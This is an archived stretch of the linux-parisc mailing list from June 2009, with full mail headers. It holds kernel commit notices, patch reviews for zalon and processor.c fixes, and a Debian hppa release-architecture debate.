Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.69 #1 (Red Hat Linux))
	id 1MJGYL-0000fB-53; Wed, 24 Jun 2009 00:41:29 +0000
Content-Disposition: inline
In-Reply-To: <20090624002921.2D5544EDA@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1824
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1824>

On Tue, Jun 23, 2009 at 08:29:20PM -0400, John David Anglin wrote:
> > The following changes since commit d888a4c76c51092993643f8992bf55b3c28da483:
> >   Linus Torvalds (1):
> >         Merge branch 'for-linus' of git://git.kernel.org/.../vapier/blackfin
> > 
> > are available in the git repository at:
> 
> Thanks for bring this up to date.
> 
> What the status of the changes in the parisc-2.6.29 branch?  The sba_iommu
> fix seems obvious.

I think those have all been merged already, except the sysvipc stuff,
but I haven't had the cycles to look into those recently. The two top
patches effecting sysvipc are bogus though and will break 'ipcs' and
various userspace bits.

regards, Kyle
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:26 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@hera.kernel.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [git] parisc: Changes to ref refs/heads/parisc
Date: Wed, 24 Jun 2009 01:39:57 GMT
Lines: 35
Approved: news@gmane.org
Message-ID: <200906240139.n5O1dvSH013997@hera.kernel.org>
NNTP-Posting-Host: lo.gmane.org
X-Trace: ger.gmane.org 1245807608 27397 80.91.229.12 (24 Jun 2009 01:40:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 24 Jun 2009 01:40:08 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Jun 24 03:40:01 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MJHSy-0001GN-Uy
	for glpp-linux-parisc@gmane.org; Wed, 24 Jun 2009 03:40:01 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751566AbZFXBjz (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 23 Jun 2009 21:39:55 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751765AbZFXBjz
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 23 Jun 2009 21:39:55 -0400
Original-Received: from hera.kernel.org ([140.211.167.34]:53862 "EHLO hera.kernel.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751566AbZFXBjz (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 23 Jun 2009 21:39:55 -0400
Original-Received: from hera.kernel.org (IDENT:U2FsdGVkX1+G6dzsMiJ+n+grQF5OErK3l6Qml+pbdK4@localhost [127.0.0.1])
	by hera.kernel.org (8.14.2/8.14.2) with ESMTP id n5O1dvCG013998
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <linux-parisc@vger.kernel.org>; Wed, 24 Jun 2009 01:39:57 GMT
Original-Received: (from kyle@localhost)
	by hera.kernel.org (8.14.2/8.13.1/Submit) id n5O1dvSH013997
	for linux-parisc@vger.kernel.org; Wed, 24 Jun 2009 01:39:57 GMT
X-Virus-Scanned: ClamAV 0.93.3/9500/Tue Jun 23 22:52:27 2009 on hera.kernel.org
X-Virus-Status: Clean
X-Spam-Status: No, score=-2.6 required=5.0 tests=BAYES_00,UNPARSEABLE_RELAY
	autolearn=ham version=3.2.5
X-Spam-Checker-Version: SpamAssassin 3.2.5 (2008-06-10) on hera.kernel.org
X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.0 (hera.kernel.org [127.0.0.1]); Wed, 24 Jun 2009 01:39:58 +0000 (UTC)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1825
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1825>

New commits:
commit dafba938247a83a3df0fb74f5b002199fb78a467
Author: Kyle McMartin <kyle@shortfin.cabal.ca>
Date:   Tue Jun 23 21:38:49 2009 -0400

    perf: wire up sys_perf_counter_open
    
    Signed-off-by: Kyle McMartin <kyle@mcmartin.ca>

commit b3808c0a514ff39298a1f1d17e45e0e224c47a95
Author: Kyle McMartin <kyle@shortfin.cabal.ca>
Date:   Tue Jun 23 21:32:18 2009 -0400

    parisc: add task_pt_regs macro
    
    needed for perf_counters.
    
    Signed-off-by: Kyle McMartin <kyle@mcmartin.ca>

commit 9a76595b135d99c3132403929f1a5ea0575c65c4
Author: Kyle McMartin <kyle@shortfin.cabal.ca>
Date:   Tue Jun 23 20:22:06 2009 -0400

    parisc: wire sys_perf_counter_open to sys_ni_syscall
    
    Reserves a syscall slot for it, until it gets a proper compat
    wrapper it's pretty useless though.
    
    Signed-off-by: Kyle McMartin <kyle@mcmartin.ca>

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH][linux-2.6] Fix gcc 4.4 warning in lba_pci.c
Date: Tue, 23 Jun 2009 23:31:46 -0600
Lines: 18
Approved: news@gmane.org
Message-ID: <20090624053146.GA29485@lackof.org>
References: <20090620232927.GA21560@lackof.org> <20090621000635.6824C4FC6@hiauly1.hia.nrc.ca> <20090623063121.GA10963@lackof.org> <119aab440906230439k6a145ddfwd7f44f742260b93d@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1245821536 20659 80.91.229.12 (24 Jun 2009 05:32:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 24 Jun 2009 05:32:16 +0000 (UTC)
Cc: Grant Grundler <grundler@parisc-linux.org>,
	John David Anglin <dave@hiauly1.hia.nrc.ca>,
	James.Bottomley@hansenpartnership.com, kyle@mcmartin.ca,
	deller@gmx.de, linux-parisc@vger.kernel.org
To: Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Jun 24 07:32:09 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MJL5b-0008Ja-G0
	for glpp-linux-parisc@gmane.org; Wed, 24 Jun 2009 07:32:08 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751101AbZFXFbo (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 24 Jun 2009 01:31:44 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751392AbZFXFbo
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 24 Jun 2009 01:31:44 -0400
Original-Received: from complete.lackof.org ([198.49.126.79]:54621 "EHLO
	complete.lackof.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751101AbZFXFbn (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 24 Jun 2009 01:31:43 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by complete.lackof.org (Postfix) with ESMTP id A76F233E004D;
	Tue, 23 Jun 2009 23:31:46 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at lackof.org
Original-Received: from complete.lackof.org ([127.0.0.1])
	by localhost (complete.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id B6SkU+7OdX-8; Tue, 23 Jun 2009 23:31:46 -0600 (MDT)
Original-Received: by complete.lackof.org (Postfix, from userid 27253)
	id 5F82B33E0051; Tue, 23 Jun 2009 23:31:46 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <119aab440906230439k6a145ddfwd7f44f742260b93d@mail.gmail.com>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1826
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1826>

On Tue, Jun 23, 2009 at 07:39:37AM -0400, Carlos O'Donell wrote:
> On Tue, Jun 23, 2009 at 2:31 AM, Grant
...
> > allows me to build. Is no one else building with NFSROOT enabled?
> 
> I boot directly from disk on both my test machines (a500, c3k).

Me too in general...but I still have that enabled since the
Cupertino test ring have multiple machines and it's quite easy
to test with NFS root.

thanks,
grant
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH][linux-2.6] Fix gcc 4.4 warning in lba_pci.c
Date: Wed, 24 Jun 2009 09:47:23 -0400 (EDT)
Lines: 22
Approved: news@gmane.org
Message-ID: <20090624134724.3874F4FC5@hiauly1.hia.nrc.ca>
References: <20090624053146.GA29485@lackof.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1245851258 9183 80.91.229.12 (24 Jun 2009 13:47:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 24 Jun 2009 13:47:38 +0000 (UTC)
Cc: carlos@systemhalted.org, grundler@parisc-linux.org,
	James.Bottomley@hansenpartnership.com, kyle@mcmartin.ca,
	deller@gmx.de, linux-parisc@vger.kernel.org
To: grundler@parisc-linux.org (Grant Grundler)
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Jun 24 15:47:30 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MJSoy-0008UI-V7
	for glpp-linux-parisc@gmane.org; Wed, 24 Jun 2009 15:47:29 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752103AbZFXNrY (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 24 Jun 2009 09:47:24 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753109AbZFXNrY
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 24 Jun 2009 09:47:24 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:3142 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752103AbZFXNrX (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 24 Jun 2009 09:47:23 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 3874F4FC5; Wed, 24 Jun 2009 09:47:24 -0400 (EDT)
In-Reply-To: <20090624053146.GA29485@lackof.org> from "Grant Grundler" at Jun 23, 2009 11:31:46 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1827
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1827>

> On Tue, Jun 23, 2009 at 07:39:37AM -0400, Carlos O'Donell wrote:
> > On Tue, Jun 23, 2009 at 2:31 AM, Grant
> ...
> > > allows me to build. Is no one else building with NFSROOT enabled?
> > 
> > I boot directly from disk on both my test machines (a500, c3k).
> 
> Me too in general...but I still have that enabled since the
> Cupertino test ring have multiple machines and it's quite easy
> to test with NFS root.

I'm using this for embedded development (no hard drive).

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:27 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.scsi
Subject: [PATCH] zalon: fix oops on attach failure
Date: Wed, 24 Jun 2009 19:55:22 +0000
Lines: 32
Approved: news@gmane.org
Message-ID: <1245873322.4022.385.camel@mulgrave.site>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1245873336 20558 80.91.229.12 (24 Jun 2009 19:55:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 24 Jun 2009 19:55:36 +0000 (UTC)
To: linux-scsi <linux-scsi@vger.kernel.org>,
	Parisc List <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Jun 24 21:55:29 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MJYZ5-0002Kx-Qj
	for glpp-linux-parisc@gmane.org; Wed, 24 Jun 2009 21:55:28 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751656AbZFXTzX (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 24 Jun 2009 15:55:23 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751485AbZFXTzX
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 24 Jun 2009 15:55:23 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:40545 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751306AbZFXTzW (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 24 Jun 2009 15:55:22 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id E94C08EE0FC;
	Wed, 24 Jun 2009 12:55:25 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 4FyDQ2O9lPll; Wed, 24 Jun 2009 12:55:25 -0700 (PDT)
Original-Received: from [192.168.10.224] (newmulgrave.ext.hansenpartnership.com [192.168.10.224])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 7A03D8EE0C8;
	Wed, 24 Jun 2009 12:55:25 -0700 (PDT)
X-Mailer: Evolution 2.24.1.1 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1828 gmane.linux.scsi:52248
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1828>

I recently discovered on my zalon that if the attachment fails because
of a bus misconfiguration (I scrapped my HVD array, so the card is now
unterminated) then the system oopses.  The reason is that if
ncr_attach() returns NULL (signalling failure) that NULL is passed by
the goto failed straight into ncr_detach() which oopses.

The fix is just to return -ENODEV in this case.

James

---

diff --git a/drivers/scsi/zalon.c b/drivers/scsi/zalon.c
index 97f3158..27e84e4 100644
--- a/drivers/scsi/zalon.c
+++ b/drivers/scsi/zalon.c
@@ -134,7 +134,7 @@ zalon_probe(struct parisc_device *dev)
 
 	host = ncr_attach(&zalon7xx_template, unit, &device);
 	if (!host)
-		goto fail;
+		return -ENODEV;
 
 	if (request_irq(dev->irq, ncr53c8xx_intr, IRQF_SHARED, "zalon", host)) {
 	  dev_printk(KERN_ERR, &dev->dev, "irq problem with %d, detaching\n ",


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthias Klose <doko@debian.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa,gmane.linux.debian.devel.release,gmane.linux.debian.devel.gcc,gmane.linux.debian.ports.sparc,gmane.linux.debian.ports.mips
Subject: Re: HPPA and Squeeze
Date: Thu, 25 Jun 2009 01:32:09 +0200
Lines: 60
Approved: news@gmane.org
Message-ID: <4A42B779.9030704@debian.org>
References: <20090602140734.GC26721@mx0.halon.org.uk> <20090606183600.GA425@lackof.org> <4A31FA76.20103@debian.org> <20090615173102.GC2690@lackof.org> <4A39823C.8070104@debian.org> <4A39DEB6.2080803@debian.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1245886353 25187 80.91.229.12 (24 Jun 2009 23:32:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 24 Jun 2009 23:32:33 +0000 (UTC)
Cc: HPPA porters <debian-hppa@lists.debian.org>,
	Debian Release <debian-release@lists.debian.org>,
	linux-parisc@vger.kernel.org, debian-gcc@list.debian.org,
	debian-sparc@lists.debian.org, debian-mips@lists.debian.org
To: Luk Claes <luk@debian.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Jun 25 01:32:26 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MJbx2-0004N3-B4
	for glpp-linux-parisc@gmane.org; Thu, 25 Jun 2009 01:32:24 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751657AbZFXXcT (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 24 Jun 2009 19:32:19 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752503AbZFXXcT
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 24 Jun 2009 19:32:19 -0400
Original-Received: from adelie.canonical.com ([91.189.90.139]:58517 "EHLO
	adelie.canonical.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751657AbZFXXcS (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 24 Jun 2009 19:32:18 -0400
Original-Received: from hutte.canonical.com ([91.189.90.181])
	by adelie.canonical.com with esmtp (Exim 4.69 #1 (Debian))
	id 1MJbww-0003Wp-5f; Thu, 25 Jun 2009 00:32:18 +0100
Original-Received: from dslb-088-073-105-247.pools.arcor-ip.net ([88.73.105.247] helo=[192.168.42.17])
	by hutte.canonical.com with esmtpsa (TLS-1.0:DHE_RSA_AES_256_CBC_SHA1:32)
	(Exim 4.69)
	(envelope-from <doko@debian.org>)
	id 1MJbww-0005sR-0k; Thu, 25 Jun 2009 00:32:18 +0100
User-Agent: Thunderbird 2.0.0.21 (X11/20090409)
In-Reply-To: <4A39DEB6.2080803@debian.org>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1829 gmane.linux.debian.ports.hppa:5790 gmane.linux.debian.devel.release:30901 gmane.linux.debian.devel.gcc:31859 gmane.linux.debian.ports.sparc:13921 gmane.linux.debian.ports.mips:6245
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1829>

Luk Claes schrieb:
> Matthias Klose wrote:
>> Grant Grundler schrieb:
>>> On Fri, Jun 12, 2009 at 08:49:26AM +0200, Luk Claes wrote:
>>>> Grant Grundler wrote:
> 
>>>>> On Tue, Jun 02, 2009 at 03:07:35PM +0100, Neil McGovern wrote:
> 
>>>>>     http://lists.debian.org/debian-release/2009/04/msg00303.html
>>>> Note that it's wrong to assume we will come with the answers.
>>> I was expecting a summary of specific issues from an organization
>>> that claims to operate transperently.  The hand waving is easy. But
>>> doesn't resolve problems and doesn't meet my expectation of an "open"
>>> organization that I've donated money, time, and materials to.
>> +1. dropping hppa as a release architecture was not communicated by the release
>> team at all.  I did spend some time to get gcj / default-jdk working on hppa,
>> and some money (buying a new disk for a hppa machine) to help this port.  The
>> time and the money could have spent better, if d-r would have better
>> communicated about their intent.
> 
> There are issues with the hppa port where the release team considered
> dropping it since 2005 communicated to the porter list...
> 
>> hppa is not in a good shape, but there are other architectures which are not
>> better (sparc, mips*) from a toolchain point of view. what about these?
> 
> I'm not aware of current toolchain issues on sparc and the issues on
> mips* still seem to be manageable, no?

sparc-biarch defaulting to 32bit isn't supported by upstream; there are requests
to move to v9 optimization by default, which requires some work in the compiler.
I don't plan to update this for upcoming GCC versions, and there's no interest
by upstream to help with this kind of setup. You can't buy v8 software for years
now, but afaik all our machines run 64bit kernels. Maybe it's time to
acknowledge this, remove sparc from the list of release architectures and go on
with sparc64?

there are currently binutils issues outstanding, reported upstream. plus the
non-availability of developer machines seems to be an issue. Sadly we don't have
the mips support for squeeze as we had for lenny.

>> there are issues pointed out and not addressed like the -dev / -headers packages
>>  built as binary independent packages just to save disk space, which have an
>> impact on "slow" architectures, and which are not addressed by the release team.
>> would the release team mind addressing these real issues, or should we drop
>> "slow" architectures as well?
> 
> Well, this Packages issue is clearly a responsability from the FTP Team
> and the Release Team would indeed be very happy to have that resolved.

So it seems to be ok to ignore an issue, if you can work around it? Fine, then
I'll build all compiler front ends from one source again.

  Matthias

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH 1/2] parisc: processor.c, fix bloated stack frame
Date: Thu, 25 Jun 2009 00:16:26 -0600
Lines: 73
Approved: news@gmane.org
Message-ID: <20090625061626.GA18519@lackof.org>
References: <1245777507-14997-1-git-send-email-kyle@mcmartin.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1245910599 6483 80.91.229.12 (25 Jun 2009 06:16:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 25 Jun 2009 06:16:39 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Jun 25 08:16:32 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MJiG8-0006zm-23
	for glpp-linux-parisc@gmane.org; Thu, 25 Jun 2009 08:16:32 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752511AbZFYGQ1 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 25 Jun 2009 02:16:27 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752503AbZFYGQ1
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 25 Jun 2009 02:16:27 -0400
Original-Received: from complete.lackof.org ([198.49.126.79]:47854 "EHLO
	complete.lackof.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751877AbZFYGQ0 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 25 Jun 2009 02:16:26 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by complete.lackof.org (Postfix) with ESMTP id DA9D533E005C;
	Thu, 25 Jun 2009 00:16:28 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at lackof.org
Original-Received: from complete.lackof.org ([127.0.0.1])
	by localhost (complete.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id QvHrprTegc8S; Thu, 25 Jun 2009 00:16:27 -0600 (MDT)
Original-Received: by complete.lackof.org (Postfix, from userid 27253)
	id DB77033E0060; Thu, 25 Jun 2009 00:16:26 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <1245777507-14997-1-git-send-email-kyle@mcmartin.ca>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1830
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1830>

On Tue, Jun 23, 2009 at 01:18:26PM -0400, Kyle McMartin wrote:
> From: Kyle McMartin <kyle@shortfin.cabal.ca>
> 
> The pa_pdc_cell struct can be kmalloc'd, so do that instead.
> 
> Signed-off-by: Kyle McMartin <kyle@mcmartin.ca>
> ---
>  arch/parisc/kernel/processor.c |   16 +++++++++++-----
>  1 files changed, 11 insertions(+), 5 deletions(-)
> 
> diff --git a/arch/parisc/kernel/processor.c b/arch/parisc/kernel/processor.c
> index 1ca69a8..c8fb61e 100644
> --- a/arch/parisc/kernel/processor.c
> +++ b/arch/parisc/kernel/processor.c
> @@ -120,22 +120,28 @@ static int __cpuinit processor_probe(struct parisc_device *dev)
>  	if (is_pdc_pat()) {
>  		ulong status;
>  		unsigned long bytecnt;
> -	        pdc_pat_cell_mod_maddr_block_t pa_pdc_cell;
> +	        pdc_pat_cell_mod_maddr_block_t *pa_pdc_cell;
>  #undef USE_PAT_CPUID
>  #ifdef USE_PAT_CPUID
>  		struct pdc_pat_cpu_num cpu_info;
>  #endif
>  
> +		pa_pdc_cell = kmalloc(sizeof (*pa_pdc_cell), GFP_KERNEL);
> +		if (!pa_pdc_cell)
> +			panic("couldn't allocate memory for PDC_PAT_CELL!");

Even though we are never going to hit this panic, could this be coded
so processor_probe just fails for that PDC device?

ie printk and return 1 like some of the code right above it does.

I really dislike adding panic() calls if they are easy to avoid.

The rest looks fine to me.

thanks
grant

> +
>  		status = pdc_pat_cell_module(&bytecnt, dev->pcell_loc,
> -			dev->mod_index, PA_VIEW, &pa_pdc_cell);
> +			dev->mod_index, PA_VIEW, pa_pdc_cell);
>  
>  		BUG_ON(PDC_OK != status);
>  
>  		/* verify it's the same as what do_pat_inventory() found */
> -		BUG_ON(dev->mod_info != pa_pdc_cell.mod_info);
> -		BUG_ON(dev->pmod_loc != pa_pdc_cell.mod_location);
> +		BUG_ON(dev->mod_info != pa_pdc_cell->mod_info);
> +		BUG_ON(dev->pmod_loc != pa_pdc_cell->mod_location);
> +
> +		txn_addr = pa_pdc_cell->mod[0];   /* id_eid for IO sapic */
>  
> -		txn_addr = pa_pdc_cell.mod[0];   /* id_eid for IO sapic */
> +		kfree(pa_pdc_cell);
>  
>  #ifdef USE_PAT_CPUID
>  /* We need contiguous numbers for cpuid. Firmware's notion
> -- 
> 1.6.3.1
> 
> --
> To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
> the body of a message to majordomo@vger.kernel.org
> More majordomo info at  http://vger.kernel.org/majordomo-info.html
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andrew Morton <akpm@linux-foundation.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] misplaced parenthesis?
Date: Thu, 25 Jun 2009 13:29:25 -0700
Lines: 31
Approved: news@gmane.org
Message-ID: <20090625132925.982bc72d.akpm@linux-foundation.org>
References: <4A0DC131.8020606@gmail.com>
